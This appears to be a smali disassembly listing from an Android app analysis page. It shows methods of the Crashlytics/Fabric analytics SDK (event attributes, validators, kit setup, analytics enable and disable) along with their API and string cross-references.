                          Cross References
                          APIs
                          • java.lang.Class.getDeclaredMethod
                          Strings
                          • logEventInternal
                          Position Instruction Meta Information
                          0.param p0, "context" # Landroid/content/Context;
                          1.param p1, "instanceClass" # Ljava/lang/Class;
                          2.prologue
                          3try_start_0:
                          4const-string v1, "logEventInternal"
                          5const/4 v2, 0x3
                          6new-array v2, v2, [Ljava/lang/Class;
                          7const/4 v3, 0x0
                          8const-class v4, Ljava/lang/String;
                          9aput-object v4, v2, v3
                          10const/4 v3, 0x1
                          11const-class v4, Ljava/lang/String;
                          12aput-object v4, v2, v3
                          13const/4 v3, 0x2
                          14const-class v4, Landroid/os/Bundle;
                          15aput-object v4, v2, v3
                          17invoke-virtual {p1, v1, v2}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                          18try_end_17: move-result-object v1
                          19goto_18: return-object v1
                          20catch_19: move-exception v0
                          21const/4 v1, 0x0
                          22goto/16 :goto_18
                          APIs
                          • java.lang.Long.valueOf
                          Strings
                          • itemPrice
                          Position Instruction Meta Information
                          0.param p1, "itemPrice" # Ljava/math/BigDecimal;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/PurchaseEvent;->validator:Lcom/crashlytics/android/answers/AnswersEventValidator;
                          5const-string v1, "itemPrice"
                          7invoke-virtual {v0, p1, v1}, Lcom/crashlytics/android/answers/AnswersEventValidator;->isNull(Ljava/lang/Object;Ljava/lang/String;)Z
                          8move-result v0
                          9if-nez v0, :cond_19
                          11iget-object v0, p0, Lcom/crashlytics/android/answers/PurchaseEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          13const-string v1, "itemPrice"
                          15invoke-virtual {p0, p1}, Lcom/crashlytics/android/answers/PurchaseEvent;->priceToMicros(Ljava/math/BigDecimal;)J
                          16move-result-wide v2
                          18invoke-static {v2, v3}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
                          19move-result-object v2
                          21invoke-virtual {v0, v1, v2}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/Number;)V
                          22cond_19: return-object p0
                          Cross References
                          APIs
                          • android.content.SharedPreferences$Editor.putBoolean
                          Strings
                          • analytics_launched
                          Position Instruction Meta Information
                          0.annotation build Landroid/annotation/SuppressLint;
                          1value = {
                          2"CommitPrefEdits"
                          3}
                          4.end annotation
                          5.prologue
                          7iget-object v0, p0, Lcom/crashlytics/android/answers/AnswersPreferenceManager;->prefStore:Lio/fabric/sdk/android/services/persistence/PreferenceStore;
                          9iget-object v1, p0, Lcom/crashlytics/android/answers/AnswersPreferenceManager;->prefStore:Lio/fabric/sdk/android/services/persistence/PreferenceStore;
                          11invoke-interface {v1}, Lio/fabric/sdk/android/services/persistence/PreferenceStore;->edit()Landroid/content/SharedPreferences$Editor;
                          12move-result-object v1
                          14const-string v2, "analytics_launched"
                          15const/4 v3, 0x1
                          17invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                          18move-result-object v1
                          20invoke-interface {v0, v1}, Lio/fabric/sdk/android/services/persistence/PreferenceStore;->save(Landroid/content/SharedPreferences$Editor;)Z
                          21return-void
                          APIs
                          • java.util.Currency.getCurrencyCode
                          Strings
                          • currency
                          Position Instruction Meta Information
                          0.param p1, "currency" # Ljava/util/Currency;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/AddToCartEvent;->validator:Lcom/crashlytics/android/answers/AnswersEventValidator;
                          5const-string v1, "currency"
                          7invoke-virtual {v0, p1, v1}, Lcom/crashlytics/android/answers/AnswersEventValidator;->isNull(Ljava/lang/Object;Ljava/lang/String;)Z
                          8move-result v0
                          9if-nez v0, :cond_15
                          11iget-object v0, p0, Lcom/crashlytics/android/answers/AddToCartEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          13const-string v1, "currency"
                          15invoke-virtual {p1}, Ljava/util/Currency;->getCurrencyCode()Ljava/lang/String;
                          16move-result-object v2
                          18invoke-virtual {v0, v1, v2}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/String;)V
                          19cond_15: return-object p0
                          APIs
                          • java.util.Currency.getCurrencyCode
                          Strings
                          • currency
                          Position Instruction Meta Information
                          0.param p1, "currency" # Ljava/util/Currency;
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/PurchaseEvent;->validator:Lcom/crashlytics/android/answers/AnswersEventValidator;
                          5const-string v1, "currency"
                          7invoke-virtual {v0, p1, v1}, Lcom/crashlytics/android/answers/AnswersEventValidator;->isNull(Ljava/lang/Object;Ljava/lang/String;)Z
                          8move-result v0
                          9if-nez v0, :cond_15
                          11iget-object v0, p0, Lcom/crashlytics/android/answers/PurchaseEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          13const-string v1, "currency"
                          15invoke-virtual {p1}, Ljava/util/Currency;->getCurrencyCode()Ljava/lang/String;
                          16move-result-object v2
                          18invoke-virtual {v0, v1, v2}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/String;)V
                          19cond_15: return-object p0
                          APIs
                          • java.lang.NullPointerException.<init>
                          Strings
                          • eventName must not be null
                          Position Instruction Meta Information
                          0.param p1, "eventName" # Ljava/lang/String;
                          1.prologue
                          3invoke-direct {p0}, Lcom/crashlytics/android/answers/AnswersEvent;-><init>()V
                          4if-nez p1, :cond_d
                          5new-instance v0, Ljava/lang/NullPointerException;
                          7const-string v1, "eventName must not be null"
                          9invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
                          10throw v0
                          11cond_d:
                          12iget-object v0, p0, Lcom/crashlytics/android/answers/CustomEvent;->validator:Lcom/crashlytics/android/answers/AnswersEventValidator;
                          14invoke-virtual {v0, p1}, Lcom/crashlytics/android/answers/AnswersEventValidator;->limitStringLength(Ljava/lang/String;)Ljava/lang/String;
                          15move-result-object v0
                          16iput-object v0, p0, Lcom/crashlytics/android/answers/CustomEvent;->eventName:Ljava/lang/String;
                          17return-void
                          Cross References
                          APIs
                          • java.lang.IllegalStateException.<init>
                          Strings
                          • Kits already set.
                          Position Instruction Meta Information
                          0.param p1, "kits" # [Lio/fabric/sdk/android/Kit;
                          1.prologue
                          3iget-object v0, p0, Lio/fabric/sdk/android/Fabric$Builder;->kits:[Lio/fabric/sdk/android/Kit;
                          4if-eqz v0, :cond_c
                          5new-instance v0, Ljava/lang/IllegalStateException;
                          7const-string v1, "Kits already set."
                          9invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
                          10throw v0
                          11cond_c: iput-object p1, p0, Lio/fabric/sdk/android/Fabric$Builder;->kits:[Lio/fabric/sdk/android/Kit;
                          12return-object p0
                          Cross References
                          APIs
                          • java.lang.IllegalStateException.<init>
                          Strings
                          • Must Initialize Fabric before using singleton()
                          Position Instruction Meta Information
                          0.prologue
                          2sget-object v0, Lio/fabric/sdk/android/Fabric;->singleton:Lio/fabric/sdk/android/Fabric;
                          3if-nez v0, :cond_c
                          4new-instance v0, Ljava/lang/IllegalStateException;
                          6const-string v1, "Must Initialize Fabric before using singleton()"
                          8invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
                          9throw v0
                          10cond_c:
                          11sget-object v0, Lio/fabric/sdk/android/Fabric;->singleton:Lio/fabric/sdk/android/Fabric;
                          12return-object v0
                          Cross References
                          APIs
                          • java.lang.IllegalStateException.<init>
                          Strings
                          • Crashlytics must be initialized by calling Fabric.with(Context) prior to calling Crashlytics.getInstance()
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-static {}, Lcom/crashlytics/android/Crashlytics;->getInstance()Lcom/crashlytics/android/Crashlytics;
                          3move-result-object v0
                          4if-nez v0, :cond_e
                          5new-instance v0, Ljava/lang/IllegalStateException;
                          7const-string v1, "Crashlytics must be initialized by calling Fabric.with(Context) prior to calling Crashlytics.getInstance()"
                          9invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
                          10throw v0
                          11cond_e: return-void
                          APIs
                          • java.lang.Boolean.toString
                          Strings
                          • success
                          Position Instruction Meta Information
                          0.param p1, "loginSucceeded" # Z
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/LoginEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          5const-string v1, "success"
                          7invoke-static {p1}, Ljava/lang/Boolean;->toString(Z)Ljava/lang/String;
                          8move-result-object v2
                          10invoke-virtual {v0, v1, v2}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/String;)V
                          11return-object p0
                          APIs
                          • java.lang.Boolean.toString
                          Strings
                          • success
                          Position Instruction Meta Information
                          0.param p1, "purchaseSucceeded" # Z
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/PurchaseEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          5const-string v1, "success"
                          7invoke-static {p1}, Ljava/lang/Boolean;->toString(Z)Ljava/lang/String;
                          8move-result-object v2
                          10invoke-virtual {v0, v1, v2}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/String;)V
                          11return-object p0
                          APIs
                          • java.lang.Integer.valueOf
                          Strings
                          • rating
                          Position Instruction Meta Information
                          0.param p1, "rating" # I
                          1.prologue
                          3iget-object v0, p0, Lcom/crashlytics/android/answers/RatingEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          5const-string v1, "rating"
                          7invoke-static {p1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                          8move-result-object v2
                          10invoke-virtual {v0, v1, v2}, Lcom/crashlytics/android/answers/AnswersAttributes;->put(Ljava/lang/String;Ljava/lang/Number;)V
                          11return-object p0
                          APIs
                          • java.lang.Boolean.parseBoolean
                          Strings
                          • true
                          Position Instruction Meta Information
                          0.prologue
                          2const-string v0, "true"
                          4invoke-static {v0}, Ljava/lang/Boolean;->parseBoolean(Ljava/lang/String;)Z
                          5move-result v0
                          6sput-boolean v0, Lcom/android/sesupdate/BuildConfig;->DEBUG:Z
                          7return-void
                          Strings
                          • Answers
                          • Failed to enable events
                          Position Instruction Meta Information
                          0.prologue
                          1try_start_0:
                          2iget-object v0, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$4;->this$0:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          4invoke-static {v0}, Lcom/crashlytics/android/answers/AnswersEventsHandler;->access$000(Lcom/crashlytics/android/answers/AnswersEventsHandler;)Lcom/crashlytics/android/answers/SessionMetadataCollector;
                          5move-result-object v0
                          7invoke-virtual {v0}, Lcom/crashlytics/android/answers/SessionMetadataCollector;->getMetadata()Lcom/crashlytics/android/answers/SessionEventMetadata;
                          8move-result-object v6
                          10iget-object v0, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$4;->this$0:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          12invoke-static {v0}, Lcom/crashlytics/android/answers/AnswersEventsHandler;->access$100(Lcom/crashlytics/android/answers/AnswersEventsHandler;)Lcom/crashlytics/android/answers/AnswersFilesManagerProvider;
                          13move-result-object v0
                          15invoke-virtual {v0}, Lcom/crashlytics/android/answers/AnswersFilesManagerProvider;->getAnalyticsFilesManager()Lcom/crashlytics/android/answers/SessionAnalyticsFilesManager;
                          16move-result-object v4
                          18iget-object v0, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$4;->this$0:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          20invoke-virtual {v4, v0}, Lcom/crashlytics/android/answers/SessionAnalyticsFilesManager;->registerRollOverListener(Lio/fabric/sdk/android/services/events/EventsStorageListener;)V
                          22iget-object v9, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$4;->this$0:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          23new-instance v0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;
                          25iget-object v1, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$4;->this$0:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          27invoke-static {v1}, Lcom/crashlytics/android/answers/AnswersEventsHandler;->access$200(Lcom/crashlytics/android/answers/AnswersEventsHandler;)Lio/fabric/sdk/android/Kit;
                          28move-result-object v1
                          30iget-object v2, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$4;->this$0:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          32invoke-static {v2}, Lcom/crashlytics/android/answers/AnswersEventsHandler;->access$300(Lcom/crashlytics/android/answers/AnswersEventsHandler;)Landroid/content/Context;
                          33move-result-object v2
                          35iget-object v3, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$4;->this$0:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          37iget-object v3, v3, Lcom/crashlytics/android/answers/AnswersEventsHandler;->executor:Ljava/util/concurrent/ScheduledExecutorService;
                          39iget-object v5, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$4;->this$0:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          41invoke-static {v5}, Lcom/crashlytics/android/answers/AnswersEventsHandler;->access$400(Lcom/crashlytics/android/answers/AnswersEventsHandler;)Lio/fabric/sdk/android/services/network/HttpRequestFactory;
                          42move-result-object v5
                          44iget-object v7, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$4;->this$0:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          46invoke-static {v7}, Lcom/crashlytics/android/answers/AnswersEventsHandler;->access$500(Lcom/crashlytics/android/answers/AnswersEventsHandler;)Lcom/crashlytics/android/answers/FirebaseAnalyticsApiAdapter;
                          47move-result-object v7
                          49invoke-direct/range {v0 .. v7}, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;-><init>(Lio/fabric/sdk/android/Kit;Landroid/content/Context;Ljava/util/concurrent/ScheduledExecutorService;Lcom/crashlytics/android/answers/SessionAnalyticsFilesManager;Lio/fabric/sdk/android/services/network/HttpRequestFactory;Lcom/crashlytics/android/answers/SessionEventMetadata;Lcom/crashlytics/android/answers/FirebaseAnalyticsApiAdapter;)V
                          50iput-object v0, v9, Lcom/crashlytics/android/answers/AnswersEventsHandler;->strategy:Lcom/crashlytics/android/answers/SessionAnalyticsManagerStrategy;
                          51try_end_3e: return-void
                          52catch_3f: move-exception v8
                          54invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          55move-result-object v0
                          57const-string v1, "Answers"
                          59const-string v2, "Failed to enable events"
                          61invoke-interface {v0, v1, v2, v8}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          62goto/16 :goto_3e
                          Cross References
                          APIs
                          • java.lang.Object.<init>
                          • java.util.concurrent.atomic.AtomicReference.<init>
                          Position Instruction Meta Information
                          0.param p1, "kit" # Lio/fabric/sdk/android/Kit;
                          1.param p2, "context" # Landroid/content/Context;
                          2.param p3, "executor" # Ljava/util/concurrent/ScheduledExecutorService;
                          3.param p4, "filesManager" # Lcom/crashlytics/android/answers/SessionAnalyticsFilesManager;
                          4.param p5, "httpRequestFactory" # Lio/fabric/sdk/android/services/network/HttpRequestFactory;
                          5.param p6, "metadata" # Lcom/crashlytics/android/answers/SessionEventMetadata;
                          6.param p7, "firebaseAnalyticsApiAdapter" # Lcom/crashlytics/android/answers/FirebaseAnalyticsApiAdapter;
                          7.prologue
                          8const/4 v2, 0x1
                          9const/4 v1, 0x0
                          11invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                          12new-instance v0, Ljava/util/concurrent/atomic/AtomicReference;
                          14invoke-direct {v0}, Ljava/util/concurrent/atomic/AtomicReference;-><init>()V
                          15iput-object v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->rolloverFutureRef:Ljava/util/concurrent/atomic/AtomicReference;
                          16new-instance v0, Lio/fabric/sdk/android/services/common/ApiKey;
                          18invoke-direct {v0}, Lio/fabric/sdk/android/services/common/ApiKey;-><init>()V
                          19iput-object v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->apiKey:Lio/fabric/sdk/android/services/common/ApiKey;
                          20new-instance v0, Lcom/crashlytics/android/answers/KeepAllEventFilter;
                          22invoke-direct {v0}, Lcom/crashlytics/android/answers/KeepAllEventFilter;-><init>()V
                          23iput-object v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->eventFilter:Lcom/crashlytics/android/answers/EventFilter;
                          24iput-boolean v2, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->customEventsEnabled:Z
                          25iput-boolean v2, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->predefinedEventsEnabled:Z
                          26const/4 v0, -0x1
                          27iput v0, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->rolloverIntervalSeconds:I
                          28iput-boolean v1, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->forwardToFirebaseAnalyticsEnabled:Z
                          29iput-boolean v1, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->includePurchaseEventsInForwardedEvents:Z
                          30iput-object p1, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->kit:Lio/fabric/sdk/android/Kit;
                          31iput-object p2, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->context:Landroid/content/Context;
                          32iput-object p3, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->executorService:Ljava/util/concurrent/ScheduledExecutorService;
                          33iput-object p4, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->filesManager:Lcom/crashlytics/android/answers/SessionAnalyticsFilesManager;
                          34iput-object p5, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->httpRequestFactory:Lio/fabric/sdk/android/services/network/HttpRequestFactory;
                          35iput-object p6, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->metadata:Lcom/crashlytics/android/answers/SessionEventMetadata;
                          36iput-object p7, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->firebaseAnalyticsApiAdapter:Lcom/crashlytics/android/answers/FirebaseAnalyticsApiAdapter;
                          37return-void
                          Cross References
                          APIs
                          • java.lang.Math.min
                          • java.lang.String.<init>
                          Position Instruction Meta Information
                          0.param p1, "buffer" # [B
                          1.param p2, "len" # I
                          2.prologue
                          3const/4 v7, 0x4
                          4new-array v5, v7, [B
                          5fill-array-data v5, :array_36
                          6array-length v7, p1
                          8invoke-static {v7, p2}, Ljava/lang/Math;->min(II)I
                          9move-result v0
                          10array-length v7, v5
                          11sub-int v7, v0, v7
                          12add-int/lit8 v2, v7, -0x16
                          13goto_10: if-ltz v2, :cond_34
                          14const/4 v3, 0x1
                          15const/4 v4, 0x0
                          16goto_14: array-length v7, v5
                          17if-ge v4, v7, :cond_20
                          18add-int v7, v2, v4
                          19aget-byte v7, p1, v7
                          20aget-byte v8, v5, v4
                          21if-eq v7, v8, :cond_2e
                          22const/4 v3, 0x0
                          23cond_20: if-eqz v3, :cond_31
                          24sub-int v7, v0, v2
                          25add-int/lit8 v6, v7, -0x16
                          26new-instance v1, Ljava/lang/String;
                          27add-int/lit8 v7, v2, 0x16
                          29invoke-direct {v1, p1, v7, v6}, Ljava/lang/String;-><init>([BII)V
                          30goto_2d: return-object v1
                          31cond_2e: add-int/lit8 v4, v4, 0x1
                          32goto/16 :goto_14
                          33cond_31: add-int/lit8 v2, v2, -0x1
                          34goto/16 :goto_10
                          35cond_34: const/4 v1, 0x0
                          36goto/16 :goto_2d
                          Cross References
                          Strings
                          • key
                          • value
                          Position Instruction Meta Information
                          0.param p1, "key" # Ljava/lang/String;
                          1.param p2, "value" # Ljava/lang/String;
                          2.prologue
                          4iget-object v0, p0, Lcom/crashlytics/android/answers/AnswersAttributes;->validator:Lcom/crashlytics/android/answers/AnswersEventValidator;
                          6const-string v1, "key"
                          8invoke-virtual {v0, p1, v1}, Lcom/crashlytics/android/answers/AnswersEventValidator;->isNull(Ljava/lang/Object;Ljava/lang/String;)Z
                          9move-result v0
                          10if-nez v0, :cond_14
                          12iget-object v0, p0, Lcom/crashlytics/android/answers/AnswersAttributes;->validator:Lcom/crashlytics/android/answers/AnswersEventValidator;
                          14const-string v1, "value"
                          16invoke-virtual {v0, p2, v1}, Lcom/crashlytics/android/answers/AnswersEventValidator;->isNull(Ljava/lang/Object;Ljava/lang/String;)Z
                          17move-result v0
                          18if-eqz v0, :cond_15
                          19goto_14: return-void
                          20cond_15:
                          21iget-object v0, p0, Lcom/crashlytics/android/answers/AnswersAttributes;->validator:Lcom/crashlytics/android/answers/AnswersEventValidator;
                          23invoke-virtual {v0, p1}, Lcom/crashlytics/android/answers/AnswersEventValidator;->limitStringLength(Ljava/lang/String;)Ljava/lang/String;
                          24move-result-object p1
                          26iget-object v0, p0, Lcom/crashlytics/android/answers/AnswersAttributes;->validator:Lcom/crashlytics/android/answers/AnswersEventValidator;
                          28invoke-virtual {v0, p2}, Lcom/crashlytics/android/answers/AnswersEventValidator;->limitStringLength(Ljava/lang/String;)Ljava/lang/String;
                          29move-result-object p2
                          31invoke-virtual {p0, p1, p2}, Lcom/crashlytics/android/answers/AnswersAttributes;->putAttribute(Ljava/lang/String;Ljava/lang/Object;)V
                          32goto/16 :goto_14
                          Cross References
                          Strings
                          • key
                          • value
                          Position Instruction Meta Information
                          0.param p1, "key" # Ljava/lang/String;
                          1.param p2, "value" # Ljava/lang/Number;
                          2.prologue
                          4iget-object v0, p0, Lcom/crashlytics/android/answers/AnswersAttributes;->validator:Lcom/crashlytics/android/answers/AnswersEventValidator;
                          6const-string v1, "key"
                          8invoke-virtual {v0, p1, v1}, Lcom/crashlytics/android/answers/AnswersEventValidator;->isNull(Ljava/lang/Object;Ljava/lang/String;)Z
                          9move-result v0
                          10if-nez v0, :cond_14
                          12iget-object v0, p0, Lcom/crashlytics/android/answers/AnswersAttributes;->validator:Lcom/crashlytics/android/answers/AnswersEventValidator;
                          14const-string v1, "value"
                          16invoke-virtual {v0, p2, v1}, Lcom/crashlytics/android/answers/AnswersEventValidator;->isNull(Ljava/lang/Object;Ljava/lang/String;)Z
                          17move-result v0
                          18if-eqz v0, :cond_15
                          19goto_14: return-void
                          20cond_15:
                          21iget-object v0, p0, Lcom/crashlytics/android/answers/AnswersAttributes;->validator:Lcom/crashlytics/android/answers/AnswersEventValidator;
                          23invoke-virtual {v0, p1}, Lcom/crashlytics/android/answers/AnswersEventValidator;->limitStringLength(Ljava/lang/String;)Ljava/lang/String;
                          24move-result-object p1
                          26invoke-virtual {p0, p1, p2}, Lcom/crashlytics/android/answers/AnswersAttributes;->putAttribute(Ljava/lang/String;Ljava/lang/Object;)V
                          27goto/16 :goto_14
                          Cross References
                          APIs
                          • java.util.Collection.size
                          • java.util.HashMap.<init>
                          Position Instruction Meta Information
                          0.annotation system Ldalvik/annotation/Signature;
                          1value = {
                          2"(",
                          3"Ljava/util/Collection",
                          4"<+",
                          5"Lio/fabric/sdk/android/Kit;",
                          6">;)",
                          7"Ljava/util/Map",
                          8"<",
                          9"Ljava/lang/Class",
                          10"<+",
                          11"Lio/fabric/sdk/android/Kit;",
                          12">;",
                          13"Lio/fabric/sdk/android/Kit;",
                          14">;"
                          15}
                          16.end annotation
                          17.prologue
                          18new-instance v0, Ljava/util/HashMap;
                          20invoke-interface {p0}, Ljava/util/Collection;->size()I
                          21move-result v1
                          23invoke-direct {v0, v1}, Ljava/util/HashMap;-><init>(I)V
                          25invoke-static {v0, p0}, Lio/fabric/sdk/android/Fabric;->addToKitMap(Ljava/util/Map;Ljava/util/Collection;)V
                          26return-object v0
                          Cross References
                          APIs
                          • java.util.Arrays.asList
                          • java.util.Collections.unmodifiableCollection
                          Position Instruction Meta Information
                          0.param p1, "answers" # Lcom/crashlytics/android/answers/Answers;
                          1.param p2, "beta" # Lcom/crashlytics/android/beta/Beta;
                          2.param p3, "core" # Lcom/crashlytics/android/core/CrashlyticsCore;
                          3.prologue
                          5invoke-direct {p0}, Lio/fabric/sdk/android/Kit;-><init>()V
                          6iput-object p1, p0, Lcom/crashlytics/android/Crashlytics;->answers:Lcom/crashlytics/android/answers/Answers;
                          7iput-object p2, p0, Lcom/crashlytics/android/Crashlytics;->beta:Lcom/crashlytics/android/beta/Beta;
                          8iput-object p3, p0, Lcom/crashlytics/android/Crashlytics;->core:Lcom/crashlytics/android/core/CrashlyticsCore;
                          9const/4 v0, 0x3
                          10new-array v0, v0, [Lio/fabric/sdk/android/Kit;
                          11const/4 v1, 0x0
                          12aput-object p1, v0, v1
                          13const/4 v1, 0x1
                          14aput-object p2, v0, v1
                          15const/4 v1, 0x2
                          16aput-object p3, v0, v1
                          18invoke-static {v0}, Ljava/util/Arrays;->asList([Ljava/lang/Object;)Ljava/util/List;
                          19move-result-object v0
                          21invoke-static {v0}, Ljava/util/Collections;->unmodifiableCollection(Ljava/util/Collection;)Ljava/util/Collection;
                          22move-result-object v0
                          23iput-object v0, p0, Lcom/crashlytics/android/Crashlytics;->kits:Ljava/util/Collection;
                          24return-void
                          Strings
                          • Answers
                          • Failed to disable events
                          Position Instruction Meta Information
                          0.prologue
                          1try_start_0:
                          2iget-object v2, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$2;->this$0:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          4iget-object v1, v2, Lcom/crashlytics/android/answers/AnswersEventsHandler;->strategy:Lcom/crashlytics/android/answers/SessionAnalyticsManagerStrategy;
                          6iget-object v2, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$2;->this$0:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          7new-instance v3, Lcom/crashlytics/android/answers/DisabledSessionAnalyticsManagerStrategy;
                          9invoke-direct {v3}, Lcom/crashlytics/android/answers/DisabledSessionAnalyticsManagerStrategy;-><init>()V
                          10iput-object v3, v2, Lcom/crashlytics/android/answers/AnswersEventsHandler;->strategy:Lcom/crashlytics/android/answers/SessionAnalyticsManagerStrategy;
                          12invoke-interface {v1}, Lcom/crashlytics/android/answers/SessionAnalyticsManagerStrategy;->deleteAllEvents()V
                          13goto_10: return-void
                          14catch_11: move-exception v0
                          16invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          17move-result-object v2
                          19const-string v3, "Answers"
                          21const-string v4, "Failed to disable events"
                          23invoke-interface {v2, v3, v4, v0}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          24goto/16 :goto_10
                          Cross References
                          APIs
                          • android.app.Application.registerActivityLifecycleCallbacks
                          • java.util.Set.add
                          Position Instruction Meta Information
                          0.param p1, "callbacks" # Lio/fabric/sdk/android/ActivityLifecycleManager$Callbacks;
                          1.annotation build Landroid/annotation/TargetApi;
                          2value = 0xe
                          3.end annotation
                          4.prologue
                          6iget-object v1, p0, Lio/fabric/sdk/android/ActivityLifecycleManager$ActivityLifecycleCallbacksWrapper;->application:Landroid/app/Application;
                          7if-eqz v1, :cond_15
                          8new-instance v0, Lio/fabric/sdk/android/ActivityLifecycleManager$ActivityLifecycleCallbacksWrapper$1;
                          10invoke-direct {v0, p0, p1}, Lio/fabric/sdk/android/ActivityLifecycleManager$ActivityLifecycleCallbacksWrapper$1;-><init>(Lio/fabric/sdk/android/ActivityLifecycleManager$ActivityLifecycleCallbacksWrapper;Lio/fabric/sdk/android/ActivityLifecycleManager$Callbacks;)V
                          12iget-object v1, p0, Lio/fabric/sdk/android/ActivityLifecycleManager$ActivityLifecycleCallbacksWrapper;->application:Landroid/app/Application;
                          14invoke-virtual {v1, v0}, Landroid/app/Application;->registerActivityLifecycleCallbacks(Landroid/app/Application$ActivityLifecycleCallbacks;)V
                          16iget-object v1, p0, Lio/fabric/sdk/android/ActivityLifecycleManager$ActivityLifecycleCallbacksWrapper;->registeredCallbacks:Ljava/util/Set;
                          18invoke-interface {v1, v0}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                          19const/4 v1, 0x1
                          20goto_14: return v1
                          21cond_15: const/4 v1, 0x0
                          22goto/16 :goto_14
                          Strings
                          • Answers
                          • Failed to set analytics settings data
                          Position Instruction Meta Information
                          0.prologue
                          1try_start_0:
                          2iget-object v1, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$1;->this$0:Lcom/crashlytics/android/answers/AnswersEventsHandler;
                          4iget-object v1, v1, Lcom/crashlytics/android/answers/AnswersEventsHandler;->strategy:Lcom/crashlytics/android/answers/SessionAnalyticsManagerStrategy;
                          6iget-object v2, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$1;->val$analyticsSettingsData:Lio/fabric/sdk/android/services/settings/AnalyticsSettingsData;
                          8iget-object v3, p0, Lcom/crashlytics/android/answers/AnswersEventsHandler$1;->val$protocolAndHostOverride:Ljava/lang/String;
                          10invoke-interface {v1, v2, v3}, Lcom/crashlytics/android/answers/SessionAnalyticsManagerStrategy;->setAnalyticsSettingsData(Lio/fabric/sdk/android/services/settings/AnalyticsSettingsData;Ljava/lang/String;)V
                          11goto_b: return-void
                          12catch_c: move-exception v0
